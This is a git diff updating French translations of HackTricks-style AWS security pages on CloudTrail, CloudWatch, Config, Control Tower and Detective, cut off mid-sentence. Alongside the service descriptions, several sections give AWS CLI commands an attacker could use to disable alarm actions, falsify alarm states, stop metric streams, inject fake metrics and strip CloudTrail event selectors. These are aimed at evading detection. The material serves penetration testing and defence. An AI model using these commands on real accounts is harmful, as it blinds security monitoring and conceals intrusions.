b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md @@ -4,7 +4,7 @@ ## **CloudTrail** -AWS CloudTrail **enregistre et surveille l'activité au sein de votre environnement AWS**. Il capture des **journaux d'événements** détaillés, y compris qui a fait quoi, quand et d'où, pour toutes les interactions avec les ressources AWS. Cela fournit une piste de vérification des changements et des actions, aidant à l'analyse de sécurité, à l'audit de conformité et au suivi des changements de ressources. CloudTrail est essentiel pour comprendre le comportement des utilisateurs et des ressources, améliorer les postures de sécurité et garantir la conformité réglementaire. +AWS CloudTrail **enregistre et surveille l'activité au sein de votre environnement AWS**. Il capture des **journaux d'événements** détaillés, y compris qui a fait quoi, quand et d'où, pour toutes les interactions avec les ressources AWS. Cela fournit une trace d'audit des changements et des actions, aidant à l'analyse de sécurité, à l'audit de conformité et au suivi des changements de ressources. CloudTrail est essentiel pour comprendre le comportement des utilisateurs et des ressources, améliorer les postures de sécurité et garantir la conformité réglementaire. Chaque événement enregistré contient : @@ -17,7 +17,7 @@ Chaque événement enregistré contient : - console.amazonaws.com - Utilisateur root du compte - lambda.amazonaws.com - AWS Lambda - Les paramètres de la requête : `requestParameters` -- Les éléments de la réponse : `responseElements` +- Les éléments de réponse : `responseElements` Les événements sont écrits dans un nouveau fichier journal **environ toutes les 5 minutes dans un fichier JSON**, ils sont conservés par CloudTrail et enfin, les fichiers journaux sont **livrés à S3 environ 15 minutes après**.\ Les journaux de CloudTrail peuvent être **agrégés à travers les comptes et les régions.**\ @@ -42,7 +42,7 @@ De plus, **les fichiers de résumé (pour vérifier l'intégrité des fichiers)* ![](<../../../../images/image (195).png>) -### Agréger les journaux de plusieurs comptes +### Agréger des journaux de plusieurs comptes - Créez un Trail dans le compte AWS où vous souhaitez que les fichiers journaux soient livrés - Appliquez des autorisations au bucket S3 de destination permettant l'accès inter-comptes pour CloudTrail et autorisez chaque compte AWS qui a besoin d'accès @@ -53,7 +53,7 @@ Cependant, même si vous pouvez sauvegarder tous les journaux dans le même buck > [!CAUTION] > Rappelez-vous qu'un compte peut avoir **différents Trails** de CloudTrail **activés** stockant les mêmes (ou différents) journaux dans différents buckets. -### CloudTrail de tous les comptes d'organisation en 1 +### Cloudtrail de tous les comptes d'organisation en 1 Lors de la création d'un CloudTrail, il est possible d'indiquer d'activer CloudTrail pour tous les comptes de l'organisation et de récupérer les journaux dans un seul bucket : @@ -67,15 +67,15 @@ Vous pouvez vérifier que les journaux n'ont pas été altérés en exécutant ```javascript aws cloudtrail validate-logs --trail-arn --start-time [--end-time ] [--s3-bucket ] [--s3-prefix ] [--verbose] ``` -### Logs to CloudWatch +### Journaux vers CloudWatch **CloudTrail peut automatiquement envoyer des journaux à CloudWatch afin que vous puissiez définir des alertes qui vous avertissent lorsque des activités suspectes sont effectuées.**\ Notez que pour permettre à CloudTrail d'envoyer les journaux à CloudWatch, un **rôle** doit être créé pour autoriser cette action. Si possible, il est recommandé d'utiliser le rôle par défaut d'AWS pour effectuer ces actions. Ce rôle permettra à CloudTrail de : -- CreateLogStream : Cela permet de créer des flux de journaux CloudWatch -- PutLogEvents : Livrer les journaux CloudTrail au flux de journaux CloudWatch +- CreateLogStream : Cela permet de créer des flux de journaux CloudWatch Logs +- PutLogEvents : Livrer les journaux CloudTrail au flux de journaux CloudWatch Logs -### Event History +### Historique des événements L'historique des événements CloudTrail vous permet d'inspecter dans un tableau les journaux qui ont été enregistrés : @@ -87,16 +87,16 @@ L'historique des événements CloudTrail vous permet d'inspecter dans un tableau Les insights sont stockés dans le même bucket que les journaux CloudTrail dans : `BucketName/AWSLogs/AccountID/CloudTrail-Insight` -### Security +### Sécurité | Intégrité des fichiers journaux CloudTrail |
  • Valider si les journaux ont été altérés (modifiés ou supprimés)

  • Utilise des fichiers de résumé (crée un hachage pour chaque fichier)

    • Hachage SHA-256
    • SHA-256 avec RSA pour la signature numérique
    • clé privée détenue par Amazon
  • Prend 1 heure pour créer un fichier de résumé (fait à l'heure chaque heure)
| | ------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| Arrêter l'accès non autorisé |

  • Utiliser des politiques IAM et des politiques de bucket S3

    • équipe de sécurité —> accès administrateur
    • auditeurs —> accès en lecture seule
  • Utiliser SSE-S3/SSE-KMS pour chiffrer les journaux
| -| Prévenir la suppression des fichiers journaux |
  • Restreindre l'accès à la suppression avec des politiques IAM et des politiques de bucket
  • Configurer la suppression MFA S3
  • Valider avec la validation des fichiers journaux
| +| Arrêter l'accès non autorisé |

  • Utiliser des politiques IAM et des politiques de bucket S3

    • équipe de sécurité —> accès admin
    • auditeurs —> accès en lecture seule
  • Utiliser SSE-S3/SSE-KMS pour chiffrer les journaux
| +| Empêcher la suppression des fichiers journaux |
  • Restreindre l'accès à la suppression avec IAM et les politiques de bucket
  • Configurer la suppression MFA S3
  • Valider avec la validation des fichiers journaux
| -## Access Advisor +## Conseiller d'accès -AWS Access Advisor s'appuie sur les 400 derniers jours de journaux **CloudTrail AWS pour rassembler ses insights**. CloudTrail capture un historique des appels API AWS et des événements connexes effectués dans un compte AWS. Access Advisor utilise ces données pour **montrer quand les services ont été accédés pour la dernière fois**. En analysant les journaux CloudTrail, Access Advisor peut déterminer quels services AWS un utilisateur ou un rôle IAM a accédés et quand cet accès a eu lieu. Cela aide les administrateurs AWS à prendre des décisions éclairées sur **l'affinement des autorisations**, car ils peuvent identifier les services qui n'ont pas été accédés pendant de longues périodes et potentiellement réduire des autorisations trop larges en fonction des modèles d'utilisation réels. +AWS Access Advisor s'appuie sur les 400 derniers jours de journaux **CloudTrail AWS pour recueillir ses insights**. CloudTrail capture un historique des appels API AWS et des événements connexes effectués dans un compte AWS. Access Advisor utilise ces données pour **montrer quand les services ont été accédés pour la dernière fois**. En analysant les journaux CloudTrail, Access Advisor peut déterminer quels services AWS un utilisateur IAM ou un rôle a accédés et quand cet accès a eu lieu. Cela aide les administrateurs AWS à prendre des décisions éclairées sur **l'affinement des autorisations**, car ils peuvent identifier les services qui n'ont pas été accédés pendant de longues périodes et potentiellement réduire des autorisations trop larges en fonction des modèles d'utilisation réels. > [!TIP] > Par conséquent, Access Advisor informe sur **les autorisations inutiles accordées aux utilisateurs** afin que l'administrateur puisse les supprimer @@ -105,7 +105,7 @@ AWS Access Advisor s'appuie sur les 400 derniers jours de journaux **CloudTrail ## Actions -### Enumeration +### Énumération ```bash # Get trails info aws cloudtrail list-trails @@ -124,7 +124,7 @@ aws cloudtrail get-query-results --event-data-store --query-id ) @@ -236,7 +236,7 @@ aws cloudtrail put-event-selectors --trail-name --event-selectors ' # Remove all selectors (stop Insights) aws cloudtrail put-event-selectors --trail-name --event-selectors '[]' --region ``` -Dans le premier exemple, un seul sélecteur d'événements est fourni sous forme de tableau JSON avec un seul objet. Le `"ReadWriteType": "ReadOnly"` indique que **le sélecteur d'événements ne doit capturer que les événements en lecture seule** (donc les insights de CloudTrail **ne vérifieront pas les** événements d'écriture par exemple). +Dans le premier exemple, un seul sélecteur d'événements est fourni sous forme de tableau JSON avec un seul objet. Le `"ReadWriteType": "ReadOnly"` indique que le **sélecteur d'événements ne doit capturer que les événements en lecture seule** (donc les insights de CloudTrail **ne vérifieront pas les** événements d'écriture par exemple). Vous pouvez personnaliser le sélecteur d'événements en fonction de vos exigences spécifiques. @@ -247,7 +247,7 @@ aws s3api put-bucket-lifecycle --bucket --lifecycle-configuration ### Modification de la configuration du bucket - Supprimer le bucket S3 -- Changer la politique du bucket pour interdire toute écriture du service CloudTrail +- Changer la politique du bucket pour refuser toute écriture du service CloudTrail - Ajouter une politique de cycle de vie au bucket S3 pour supprimer des objets - Désactiver la clé KMS utilisée pour chiffrer les journaux CloudTrail @@ -264,7 +264,7 @@ C'est essentiellement un **ransomware S3-KMS** expliqué dans : **Ransomware KMS** -C'est la manière la plus simple d'effectuer l'attaque précédente avec des exigences de permissions différentes : +C'est un moyen plus simple d'effectuer l'attaque précédente avec des exigences de permissions différentes : {{#ref}} ../../aws-post-exploitation/aws-kms-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md index 30e5bcb83..921f0da7f 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md @@ -12,7 +12,7 @@ Vous pouvez surveiller par exemple les journaux de CloudTrail. Les événements - Changements dans les groupes de sécurité et les NACL - Démarrage, arrêt, redémarrage et terminaison des instances EC2 -- Changements dans les politiques de sécurité au sein d'IAM et S3 +- Changements dans les politiques de sécurité au sein de IAM et S3 - Tentatives de connexion échouées à la console de gestion AWS - Appels API ayant entraîné un échec d'autorisation - Filtres pour rechercher dans CloudWatch : [https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html) @@ -21,7 +21,7 @@ Vous pouvez surveiller par exemple les journaux de CloudTrail. Les événements ### Espaces de noms -Un espace de noms est un conteneur pour les métriques CloudWatch. Il aide à catégoriser et à isoler les métriques, facilitant ainsi leur gestion et leur analyse. +Un espace de noms est un conteneur pour les métriques CloudWatch. Il aide à catégoriser et isoler les métriques, facilitant leur gestion et leur analyse. - **Exemples** : AWS/EC2 pour les métriques liées à EC2, AWS/RDS pour les métriques RDS. @@ -39,7 +39,7 @@ Les dimensions sont des paires clé-valeur qui font partie des métriques. Elles ### Statistiques -Les statistiques sont des calculs mathématiques effectués sur les données de métriques pour les résumer au fil du temps. Les statistiques courantes incluent Moyenne, Somme, Minimum, Maximum et SampleCount. +Les statistiques sont des calculs mathématiques effectués sur les données de métriques pour les résumer au fil du temps. Les statistiques courantes incluent Moyenne, Somme, Minimum, Maximum et Compte d'échantillons. - **Exemple** : Calculer la moyenne d'utilisation du CPU sur une période d'une heure. @@ -53,7 +53,7 @@ Les unités sont le type de mesure associé à une métrique. Les unités aident ### Tableau de bord -**Les tableaux de bord CloudWatch** fournissent des **vues personnalisables de vos métriques AWS CloudWatch**. Il est possible de créer et de configurer des tableaux de bord pour visualiser des données et surveiller des ressources dans une seule vue, combinant différentes métriques de divers services AWS. +**Les tableaux de bord CloudWatch** fournissent des **vues personnalisables de vos métriques AWS CloudWatch**. Il est possible de créer et de configurer des tableaux de bord pour visualiser les données et surveiller les ressources dans une vue unique, combinant différentes métriques de divers services AWS. **Fonctionnalités clés** : @@ -111,11 +111,11 @@ Les unités sont le type de mesure associé à une métrique. Les unités aident **Exemple de cas d'utilisation** : -- Surveiller la performance RDS : Activer une règle d'insight gérée pour Amazon RDS qui surveille les indicateurs de performance clés tels que l'utilisation du CPU, l'utilisation de la mémoire et les I/O disque. Si l'une de ces métriques dépasse des seuils opérationnels sûrs, la règle peut déclencher une alerte ou une action d'atténuation automatisée. +- Surveiller la performance RDS : Activer une règle d'insight gérée pour Amazon RDS qui surveille des indicateurs de performance clés tels que l'utilisation du CPU, l'utilisation de la mémoire et les E/S de disque. Si l'une de ces métriques dépasse des seuils opérationnels sûrs, la règle peut déclencher une alerte ou une action d'atténuation automatisée. ### Journaux CloudWatch -Permet de **regrouper et de surveiller les journaux des applications** et des systèmes des **services AWS** (y compris CloudTrail) et **des applications/systèmes** (**L'agent CloudWatch** peut être installé sur un hôte). Les journaux peuvent être **stockés indéfiniment** (selon les paramètres du groupe de journaux) et peuvent être exportés. +Permet de **regrouper et surveiller les journaux des applications** et des systèmes des **services AWS** (y compris CloudTrail) et **des applications/systèmes** (**CloudWatch Agent** peut être installé sur un hôte). Les journaux peuvent être **stockés indéfiniment** (selon les paramètres du groupe de journaux) et peuvent être exportés. **Éléments** : @@ -279,11 +279,11 @@ L'exemple suivant montre comment rendre une alarme de métrique inefficace : {{#endtab }} {{#endtabs }} -**Impact potentiel** : Manque de notifications pour des événements critiques, problèmes potentiellement non détectés, fausses alertes, suppression d'alertes authentiques et détections potentiellement manquées d'incidents réels. +**Impact potentiel** : Manque de notifications pour des événements critiques, problèmes potentiels non détectés, fausses alertes, suppression d'alertes authentiques et détections potentiellement manquées d'incidents réels. ### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions`, `cloudwatch:SetAlarmState`** -En supprimant les actions d'alarme, l'attaquant pourrait empêcher des alertes critiques et des réponses automatisées d'être déclenchées lorsqu'un état d'alarme est atteint, comme notifier les administrateurs ou déclencher des activités d'auto-scaling. Activer ou réactiver des actions d'alarme de manière inappropriée pourrait également entraîner des comportements inattendus, soit en réactivant des actions précédemment désactivées, soit en modifiant les actions qui sont déclenchées, ce qui pourrait causer de la confusion et une mauvaise orientation dans la réponse aux incidents. +En supprimant les actions d'alarme, l'attaquant pourrait empêcher des alertes critiques et des réponses automatisées d'être déclenchées lorsqu'un état d'alarme est atteint, comme notifier les administrateurs ou déclencher des activités d'auto-scaling. Activer ou réactiver inappropriément des actions d'alarme pourrait également entraîner des comportements inattendus, soit en réactivant des actions précédemment désactivées, soit en modifiant les actions déclenchées, ce qui pourrait causer de la confusion et une mauvaise direction dans la réponse aux incidents. De plus, un attaquant ayant la permission pourrait manipuler les états d'alarme, étant capable de créer de fausses alarmes pour distraire et confondre les administrateurs, ou de faire taire de véritables alarmes pour cacher des activités malveillantes en cours ou des pannes critiques du système. @@ -293,11 +293,11 @@ aws cloudwatch disable-alarm-actions --alarm-names aws cloudwatch enable-alarm-actions --alarm-names aws cloudwatch set-alarm-state --alarm-name --state-value --state-reason [--state-reason-data ] ``` -**Impact potentiel** : Manque de notifications pour des événements critiques, problèmes potentiellement non détectés, fausses alertes, suppression d'alertes réelles et détections potentiellement manquées d'incidents réels. +**Impact potentiel** : Manque de notifications pour des événements critiques, problèmes potentiellement non détectés, fausses alertes, suppression d'alertes authentiques et détections potentiellement manquées d'incidents réels. ### **`cloudwatch:DeleteAnomalyDetector`, `cloudwatch:PutAnomalyDetector`** -Un attaquant pourrait compromettre la capacité de détection et de réponse à des modèles ou des anomalies inhabituels dans les données métriques. En supprimant des détecteurs d'anomalies existants, un attaquant pourrait désactiver des mécanismes d'alerte critiques ; et en les créant ou en les modifiant, il pourrait soit mal configurer, soit créer de faux positifs afin de distraire ou de submerger la surveillance. +Un attaquant pourrait compromettre la capacité de détection et de réponse à des modèles ou anomalies inhabituels dans les données métriques. En supprimant les détecteurs d'anomalies existants, un attaquant pourrait désactiver des mécanismes d'alerte critiques ; et en les créant ou en les modifiant, il pourrait soit mal configurer, soit créer de faux positifs afin de distraire ou de submerger la surveillance. ```bash aws cloudwatch delete-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat ] aws cloudwatch put-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat --configuration --metric-characteristics ] @@ -364,7 +364,7 @@ aws cloudwatch put-dashboard --dashboard-name --dashboard-body ### **`cloudwatch:DeleteInsightRules`, `cloudwatch:PutInsightRule`, `cloudwatch:PutManagedInsightRule`** -Les règles d'insight sont utilisées pour détecter des anomalies, optimiser les performances et gérer les ressources efficacement. En supprimant les règles d'insight existantes, un attaquant pourrait éliminer des capacités de surveillance critiques, laissant le système aveugle aux problèmes de performance et aux menaces de sécurité. De plus, un attaquant pourrait créer ou modifier des règles d'insight pour générer des données trompeuses ou cacher des activités malveillantes, entraînant des diagnostics incorrects et des réponses inappropriées de l'équipe des opérations. +Les règles d'insight sont utilisées pour détecter des anomalies, optimiser les performances et gérer les ressources efficacement. En supprimant des règles d'insight existantes, un attaquant pourrait éliminer des capacités de surveillance critiques, laissant le système aveugle aux problèmes de performance et aux menaces de sécurité. De plus, un attaquant pourrait créer ou modifier des règles d'insight pour générer des données trompeuses ou cacher des activités malveillantes, entraînant des diagnostics incorrects et des réponses inappropriées de l'équipe des opérations. ```bash aws cloudwatch delete-insight-rules --rule-names aws cloudwatch put-insight-rule --rule-name --rule-definition [--rule-state ] @@ -383,19 +383,19 @@ aws cloudwatch enable-insight-rules --rule-names ### **`cloudwatch:DeleteMetricStream` , `cloudwatch:PutMetricStream` , `cloudwatch:PutMetricData`** -Un attaquant avec les permissions **`cloudwatch:DeleteMetricStream`**, **`cloudwatch:PutMetricStream`** serait capable de créer et de supprimer des flux de données métriques, compromettant la sécurité, la surveillance et l'intégrité des données : +Un attaquant avec les permissions **`cloudwatch:DeleteMetricStream`** , **`cloudwatch:PutMetricStream`** serait capable de créer et de supprimer des flux de données métriques, compromettant la sécurité, la surveillance et l'intégrité des données : - **Créer des flux malveillants** : Créer des flux métriques pour envoyer des données sensibles vers des destinations non autorisées. - **Manipulation des ressources** : La création de nouveaux flux métriques avec des données excessives pourrait produire beaucoup de bruit, entraînant des alertes incorrectes, masquant de véritables problèmes. - **Perturbation de la surveillance** : En supprimant des flux métriques, les attaquants perturberaient le flux continu de données de surveillance. De cette manière, leurs activités malveillantes seraient efficacement cachées. -De même, avec la permission **`cloudwatch:PutMetricData`**, il serait possible d'ajouter des données à un flux métrique. Cela pourrait entraîner un DoS en raison de la quantité de données inappropriées ajoutées, rendant le flux complètement inutile. +De même, avec la permission **`cloudwatch:PutMetricData`**, il serait possible d'ajouter des données à un flux métrique. Cela pourrait entraîner un DoS en raison de la quantité de données inappropriées ajoutées, le rendant complètement inutile. ```bash aws cloudwatch delete-metric-stream --name aws cloudwatch put-metric-stream --name [--include-filters ] [--exclude-filters ] --firehose-arn --role-arn --output-format aws cloudwatch put-metric-data --namespace [--metric-data ] [--metric-name ] [--timestamp ] [--unit ] [--value ] [--dimensions ] ``` -Exemple d'ajout de données correspondant à une utilisation du CPU de 70 % sur une instance EC2 donnée : +Exemple d'ajout de données correspondant à 70 % d'utilisation du CPU sur une instance EC2 donnée : ```bash aws cloudwatch put-metric-data --namespace "AWS/EC2" --metric-name "CPUUtilization" --value 70 --unit "Percent" --dimensions "InstanceId=i-0123456789abcdefg" ``` @@ -403,12 +403,12 @@ aws cloudwatch put-metric-data --namespace "AWS/EC2" --metric-name "CPUUtilizati ### **`cloudwatch:StopMetricStreams`, `cloudwatch:StartMetricStreams`** -Un attaquant contrôlerait le flux des flux de données de métriques affectés (chaque flux de données s'il n'y a pas de restriction de ressource). Avec la permission **`cloudwatch:StopMetricStreams`**, les attaquants pourraient cacher leurs activités malveillantes en arrêtant des flux de métriques critiques. +Un attaquant contrôlerait le flux des flux de données de métriques affectés (chaque flux de données s'il n'y a pas de restriction de ressources). Avec la permission **`cloudwatch:StopMetricStreams`**, les attaquants pourraient cacher leurs activités malveillantes en arrêtant des flux de métriques critiques. ```bash aws cloudwatch stop-metric-streams --names aws cloudwatch start-metric-streams --names ``` -**Impact potentiel** : Perturbation du flux de données de surveillance, impactant la détection des anomalies et des incidents. +**Impact potentiel** : Perturbation du flux de données de surveillance, affectant la détection des anomalies et des incidents. ### **`cloudwatch:TagResource`, `cloudwatch:UntagResource`** @@ -417,7 +417,7 @@ Un attaquant pourrait ajouter, modifier ou supprimer des balises des ressources aws cloudwatch tag-resource --resource-arn --tags aws cloudwatch untag-resource --resource-arn --tag-keys ``` -**Impact potentiel** : Disruption des politiques de contrôle d'accès basées sur des balises. +**Impact potentiel** : Perturbation des politiques de contrôle d'accès basées sur des balises. ## Références diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md index 8160ca930..499c93a58 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md @@ -6,12 +6,12 @@ AWS Config **capture les changements de ressources**, donc tout changement apporté à une ressource prise en charge par Config peut être enregistré, ce qui **enregistrera ce qui a changé ainsi que d'autres métadonnées utiles, le tout conservé dans un fichier connu sous le nom d'élément de configuration**, un CI. Ce service est **spécifique à la région**. -Un élément de configuration ou **CI** comme on l'appelle, est un composant clé d'AWS Config. Il est composé d'un fichier JSON qui **contient les informations de configuration, les informations de relation et d'autres métadonnées sous forme d'une vue instantanée d'un moment donné d'une ressource prise en charge**. Toutes les informations qu'AWS Config peut enregistrer pour une ressource sont capturées dans le CI. Un CI est créé **chaque fois** qu'une ressource prise en charge subit un changement dans sa configuration de quelque manière que ce soit. En plus d'enregistrer les détails de la ressource affectée, AWS Config enregistrera également des CIs pour toutes les ressources directement liées afin de s'assurer que le changement n'a pas également affecté ces ressources. +Un élément de configuration ou **CI** comme on l'appelle, est un composant clé d'AWS Config. Il est composé d'un fichier JSON qui **contient les informations de configuration, les informations de relation et d'autres métadonnées sous forme de vue instantanée à un moment donné d'une ressource prise en charge**. Toutes les informations qu'AWS Config peut enregistrer pour une ressource sont capturées dans le CI. Un CI est créé **chaque fois** qu'une ressource prise en charge a un changement apporté à sa configuration de quelque manière que ce soit. En plus d'enregistrer les détails de la ressource affectée, AWS Config enregistrera également des CIs pour toutes les ressources directement liées afin de s'assurer que le changement n'a pas également affecté ces ressources. - **Métadonnées** : Contient des détails sur l'élément de configuration lui-même. Un ID de version et un ID de configuration, qui identifient de manière unique le CI. D'autres informations peuvent inclure un MD5Hash qui vous permet de comparer d'autres CIs déjà enregistrés contre la même ressource. -- **Attributs** : Cela contient des informations d'**attributs communs par rapport à la ressource réelle**. Dans cette section, nous avons également un ID de ressource unique, et toutes les balises de valeur clé qui sont associées à la ressource. Le type de ressource est également listé. Par exemple, si c'était un CI pour une instance EC2, les types de ressources listés pourraient être l'interface réseau, ou l'adresse IP élastique pour cette instance EC2. +- **Attributs** : Cela contient des **informations d'attribut communes par rapport à la ressource réelle**. Dans cette section, nous avons également un ID de ressource unique, et toutes les balises de valeur clé qui sont associées à la ressource. Le type de ressource est également listé. Par exemple, si c'était un CI pour une instance EC2, les types de ressources listés pourraient être l'interface réseau, ou l'adresse IP élastique pour cette instance EC2. - **Relations** : Cela contient des informations sur toute **relation connectée que la ressource peut avoir**. Donc, dans cette section, il montrerait une description claire de toute relation avec d'autres ressources que cette ressource avait. Par exemple, si le CI était pour une instance EC2, la section des relations pourrait montrer la connexion à un VPC ainsi que le sous-réseau dans lequel l'instance EC2 réside. -- **Configuration actuelle :** Cela affichera les mêmes informations qui seraient générées si vous deviez effectuer un appel API de description ou de liste effectué par l'AWS CLI. AWS Config utilise les mêmes appels API pour obtenir les mêmes informations. +- **Configuration actuelle :** Cela affichera les mêmes informations qui seraient générées si vous effectuiez un appel API de description ou de liste effectué par l'AWS CLI. AWS Config utilise les mêmes appels API pour obtenir les mêmes informations. - **Événements liés** : Cela concerne AWS CloudTrail. Cela affichera l'**ID d'événement AWS CloudTrail qui est lié au changement qui a déclenché la création de ce CI**. Un nouveau CI est créé pour chaque changement apporté à une ressource. En conséquence, différents IDs d'événements CloudTrail seront créés. **Historique de configuration** : Il est possible d'obtenir l'historique de configuration des ressources grâce aux éléments de configuration. Un historique de configuration est livré toutes les 6 heures et contient tous les CI pour un type de ressource particulier. @@ -24,7 +24,7 @@ Un élément de configuration ou **CI** comme on l'appelle, est un composant cl ### Fonctionnement -- Lorsque des changements sont effectués, par exemple sur un groupe de sécurité ou une liste de contrôle d'accès de bucket —> déclenche un événement capté par AWS Config +- Lorsque vous apportez des modifications, par exemple à un groupe de sécurité ou à une liste de contrôle d'accès de bucket —> déclenche un événement capté par AWS Config - Stocke tout dans un bucket S3 - En fonction de la configuration, dès qu'un changement se produit, cela pourrait déclencher une fonction lambda OU planifier une fonction lambda pour examiner périodiquement les paramètres AWS Config - Lambda renvoie à Config @@ -34,13 +34,13 @@ Un élément de configuration ou **CI** comme on l'appelle, est un composant cl ### Règles de Config -Les règles de Config sont un excellent moyen de vous **aider à appliquer des contrôles et des vérifications de conformité spécifiques** **sur vos ressources**, et vous permettent d'adopter une spécification de déploiement idéale pour chacun de vos types de ressources. Chaque règle **est essentiellement une fonction lambda** qui, lorsqu'elle est appelée, évalue la ressource et effectue une logique simple pour déterminer le résultat de conformité avec la règle. **Chaque fois qu'un changement est apporté** à l'une de vos ressources prises en charge, **AWS Config vérifiera la conformité par rapport à toutes les règles de configuration que vous avez en place**.\ -AWS dispose d'un certain nombre de **règles prédéfinies** qui relèvent du domaine de la sécurité et qui sont prêtes à l'emploi. Par exemple, Rds-storage-encrypted. Cela vérifie si le chiffrement de stockage est activé par vos instances de base de données RDS. Encrypted-volumes. Cela vérifie si des volumes EBS qui ont un état attaché sont chiffrés. +Les règles de Config sont un excellent moyen de vous **aider à appliquer des contrôles et des vérifications de conformité spécifiques** **sur vos ressources**, et vous permettent d'adopter une spécification de déploiement idéale pour chacun de vos types de ressources. Chaque règle **est essentiellement une fonction lambda** qui, lorsqu'elle est appelée, évalue la ressource et effectue une logique simple pour déterminer le résultat de conformité avec la règle. **Chaque fois qu'un changement est apporté** à l'une de vos ressources prises en charge, **AWS Config vérifiera la conformité par rapport à toutes les règles de config que vous avez en place**.\ +AWS a un certain nombre de **règles prédéfinies** qui relèvent du domaine de la sécurité et qui sont prêtes à l'emploi. Par exemple, Rds-storage-encrypted. Cela vérifie si le chiffrement de stockage est activé par vos instances de base de données RDS. Encrypted-volumes. Cela vérifie si des volumes EBS qui ont un état attaché sont chiffrés. - **Règles gérées par AWS** : Ensemble de règles prédéfinies qui couvrent de nombreuses meilleures pratiques, donc il vaut toujours la peine de parcourir ces règles d'abord avant de configurer les vôtres car il y a une chance que la règle existe déjà. - **Règles personnalisées** : Vous pouvez créer vos propres règles pour vérifier des configurations personnalisées spécifiques. -Limite de 50 règles de configuration par région avant de devoir contacter AWS pour une augmentation.\ +Limite de 50 règles de config par région avant de devoir contacter AWS pour une augmentation.\ Les résultats non conformes NE sont PAS supprimés. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md index 361c24c61..18b3e4101 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md @@ -1,11 +1,11 @@ -# AWS - Control Tower Enum +# AWS - Contrôle de la Tour {{#include ../../../../banners/hacktricks-training.md}} -## Control Tower +## Contrôle de la Tour > [!NOTE] -> En résumé, Control Tower est un service qui permet de définir des politiques pour tous vos comptes au sein de votre organisation. Ainsi, au lieu de gérer chacun d'eux, vous pouvez définir des politiques depuis Control Tower qui seront appliquées sur eux. +> En résumé, Control Tower est un service qui permet de définir des politiques pour tous vos comptes au sein de votre organisation. Ainsi, au lieu de gérer chacun d'eux, vous pouvez définir des politiques depuis Control Tower qui seront appliquées à ceux-ci. AWS Control Tower est un **service fourni par Amazon Web Services (AWS)** qui permet aux organisations de configurer et de gouverner un environnement multi-comptes sécurisé et conforme dans AWS. @@ -17,9 +17,9 @@ De plus, AWS Control Tower fournit des garde-fous, qui sont un ensemble de polit Dans l'ensemble, AWS Control Tower simplifie le processus de configuration et de gestion d'un environnement multi-comptes sécurisé et conforme dans AWS, facilitant ainsi aux organisations la concentration sur leurs objectifs commerciaux principaux. -### Enumeration +### Énumération -Pour énumérer les contrôles de controltower, vous devez d'abord **avoir énuméré l'organisation** : +Pour énumérer les contrôles de Control Tower, vous devez d'abord **avoir énuméré l'organisation** : {{#ref}} ../aws-organizations-enum.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md index a25ba281a..f2d994a54 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md @@ -4,9 +4,9 @@ ## Detective -**Amazon Detective** rationalise le processus d'enquête en matière de sécurité, le rendant plus efficace pour **analyser, enquêter et identifier la cause profonde** des problèmes de sécurité ou des activités inhabituelles. Il automatise la collecte des données de journalisation à partir des ressources AWS et utilise **l'apprentissage automatique, l'analyse statistique et la théorie des graphes** pour construire un ensemble de données interconnecté. Cette configuration améliore considérablement la rapidité et l'efficacité des enquêtes de sécurité. +**Amazon Detective** simplifie le processus d'enquête en matière de sécurité, rendant plus efficace l'**analyse, l'investigation et l'identification de la cause profonde** des problèmes de sécurité ou des activités inhabituelles. Il automatise la collecte des données de journal à partir des ressources AWS et utilise **l'apprentissage automatique, l'analyse statistique et la théorie des graphes** pour construire un ensemble de données interconnecté. Cette configuration améliore considérablement la rapidité et l'efficacité des enquêtes de sécurité. -Le service facilite l'exploration approfondie des incidents de sécurité, permettant aux équipes de sécurité de comprendre rapidement et de traiter les causes sous-jacentes des problèmes. Amazon Detective analyse d'énormes quantités de données provenant de sources telles que les journaux de flux VPC, AWS CloudTrail et Amazon GuardDuty. Il génère automatiquement une **vue interactive et complète des ressources, des utilisateurs et de leurs interactions au fil du temps**. Cette perspective intégrée fournit tous les détails et le contexte nécessaires en un seul endroit, permettant aux équipes de discerner les raisons derrière les constatations de sécurité, d'examiner les activités historiques pertinentes et de déterminer rapidement la cause profonde. +Le service facilite l'exploration approfondie des incidents de sécurité, permettant aux équipes de sécurité de comprendre rapidement et de traiter les causes sous-jacentes des problèmes. Amazon Detective analyse d'énormes quantités de données provenant de sources telles que les VPC Flow Logs, AWS CloudTrail et Amazon GuardDuty. Il génère automatiquement une **vue interactive et complète des ressources, des utilisateurs et de leurs 